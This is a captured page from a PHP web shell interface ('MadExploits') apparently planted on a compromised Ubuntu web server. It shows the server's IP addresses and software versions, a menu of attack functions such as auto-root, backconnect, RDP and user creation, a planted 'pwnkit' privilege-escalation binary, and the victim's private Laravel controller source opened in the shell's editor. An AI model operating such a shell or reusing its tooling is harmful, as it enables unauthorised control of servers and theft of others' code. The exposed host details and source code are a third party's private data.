Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.90.83
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxrwxr-x
Auth
[ DIR ]
drwxrwxr-x
.DS_Store
6
KB
-rw-rw-r--
.mad-root
0
B
-rw-r--r--
AdminController.php
29.09
KB
-rw-rw-r--
Controller.php
2.18
KB
-rw-rw-r--
FoodController.php
3.54
KB
-rw-rw-r--
HomeController.php
2.37
KB
-rw-rw-r--
NewPlaceController.php
7.93
KB
-rw-rw-r--
PlaceController.php
30.13
KB
-rw-rw-r--
UserController.php
8.28
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NewPlaceController.php
<?php namespace App\Http\Controllers; use App\Http\Services\PostImageUploader; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use App\Jobs\ProcessImage; use App\Place; use App\Places; use Illuminate\Support\Str; class NewPlaceController extends Controller { /** * Show the form for adding a new place. * * @return \Illuminate\Http\Response */ public function add(Request $request) { if (!Auth::user()) { abort(403, 'Unauthorized action.'); } // var_dump($request->session());die; return view('places.suggest', ['title' => 'Add a place', 'page' => 'Places']); } public function editPlace($slug) { $db = DB::getMongoDB(); $place = $db->places->findOne(['slug' => $slug]); if($place){ $food = $db->fooding->find(['place_slug' => $place['slug']], ['_id' => ['$toString' => '$_id'], 'name' => 1, 'price' => 1, 'description' => 1, 'category' => 1])->toArray(); // return response()->json(['place' => $place, 'food' => $food->toArray()]); return view('places.suggest', ['title' => 'Edit Place', 'place' => $place, 'food' => $food]); } } /** * Display a place. * * @param int $place * @return \Illuminate\Http\Response */ public function showNewPlace(String $slug, Request $request) { $place = Places::where('slug', $slug)->where('enabled', true)->firstOrFail(); $user = Auth::user() ? (string) Auth::user()->_id : 0; return view('places.shownew', [ 'title' => 'Place', 'page' => 'Places', 'slug' => $slug, 'user' => $user, 'placename' => $place->name, 'image' => $place->image ]); } public function unsetVariables($user, $POST) { $ed = isset($POST['edit']) && $POST['edit'] ? 'modified' : 'created'; $extras = [ 'name' => trim($POST['name']), 'email' => trim($POST['email'] ?? ''), 'image' => $POST['uploadimage'] ?? [], 'phones' => array_filter($POST['phone'] ?? []), $ed => (new \DateTime('now'))->format('d-m-Y H:i:s'), 'user' => (string) $user->email, 'location' => array( 'type' => 'Point', 'coordinates' => [floatval($POST['longitude']) ?? 0, floatval($POST['latitude']) ?? 0] ), 'category' => $_POST['category'] ?? [], 'website' => $_POST['website'] ?? '', 'whatsapp' => $_POST['whatsapp'] ?? '', 'jumia' => $_POST['jumia'] ?? '', 'info' => $_POST['info'] ?? '', ]; $slug = $POST['edit'] ?? null; $food = $POST['food'] ?? null; unset($POST['phone'], $POST['longitude'], $POST['latitude'], $POST['food'], $POST['edit'], $POST['_token'], $POST['uploadimage'], $_POST['website'], $_POST['whatsapp'], $_POST['jumia'], $_POST['info']); return array($extras, $slug, $food, $POST); } /** * Save a new place or edit an existing one. * * @return \Illuminate\Http\Response */ public function store(Request $request) { $db = DB::getMongoDB(); // dd($_POST); $user = $request->user(); list($extras, $slug, $food, $post) = $this->unsetVariables($user, $_POST); $escaped_name = preg_replace('/\/|\'/', "-", $extras['name']); $slug = $slug ?: $this->slugify($escaped_name); if($slug) $extras['modified_by'] = (string) $user->email; else $extras['created_by'] = (string) $user->email; $extras['nickname'] = preg_replace("/[')(]/", "", $extras['name']); $extras['likes'] = []; $extras['enabled'] = true; $slug = $slug ?: $this->slugify($extras['name']); $oldImages = $_POST['uploadimage'] ?? []; $images = PostImageUploader::upload($request, $slug); $extras['image'] = array_merge($images, $oldImages); $place = array_merge($post, $extras); $updated = $db->places->findOneAndUpdate( ['slug' => $slug], ['$set' => $place], [ 'upsert' => true, 'returnDocument' => \MongoDB\Operation\FindOneAndUpdate::RETURN_DOCUMENT_AFTER ] ); // if update, check if place is part of franchise and get list of franchise places // else put stored place in an array of one and return // $franchise = $updated ? $this->updateFranchise($updated) : [$db->places->findOne(['_id' => $newPlace->getInsertedId()])]; $food_count = 0; if($food) { $food_count = $this->saveFood($updated, $food); } return redirect()->route('admin_places_food'); } /** * Traverse an associative array and * @param array $arrayInput * @return array */ private function handleArrayInput(array $arrayInput) { try { $keys = array_keys($arrayInput); $f = array(); for ($i=0; $i < count($arrayInput[$keys[0]]); $i++) { $n = array(); foreach ($keys as $key) { $n[$key] = $arrayInput[$key][$i]; } $f[] = $n; } return $f; } catch (\Exception $e) { throw new \Exception("Error Processing Request"); } } /** * Save food items belonging to a place * * @param Place $place Place instance * @param array $foodpost food items from form * @param array $franchise list of franchise places **/ public function saveFood($place, $foodpost) { $f = $this->handleArrayInput($foodpost); $db = DB::getMongoDB(); $user = Auth::user(); // dd($f); foreach($f as $foodDetails) { // Check if food name already exists in database if (isset($foodDetails['food']) && $foodDetails['food']) { // var_dump($foodDetails);die; $food = []; $id = $foodDetails['id'] ?? ''; $food['name'] = $foodDetails['food']; $food['price'] = explode(".", str_replace(",", "", $foodDetails['price']))[0] ?? 0; // $food['category'] = $foodDetails['foodCategory'] ?? ''; $food['description'] = $foodDetails['description'] ?? ''; $food['place_name'] = $place['name']; $food['place_slug'] = $place['slug']; if($id){ // If edit $food['updated'] = (new \DateTime('now'))->format('d-m-Y H:i:s'); $food['modified_by'] = (string) $user->email; // dd($food); $d = $db->fooding->updateOne( [ '_id' => new \MongoDB\BSON\ObjectId($id) ], [ '$set' => $food ], [ 'upsert' => true ] ); }else{ $food['created'] = (new \DateTime('now'))->format('d-m-Y H:i:s'); $food['created_by'] = (string) $user->email; $d = $db->fooding->insertOne($food); } } } return count($f); } public function removePicture($slug, $index = 0) { $db = DB::getMongoDB(); $place = $db->placing->findOne(['slug' => $slug]); // var_dump($slug); // var_dump($place); // var_dump($index);die; if($place){ $images = (array) $place['image']; array_splice($images, $index, 1); $db->placing->updateOne(['slug' => $slug], ['$set' => ['image' => $images]]); return response()->json(['status' => 'success']); } } }
Close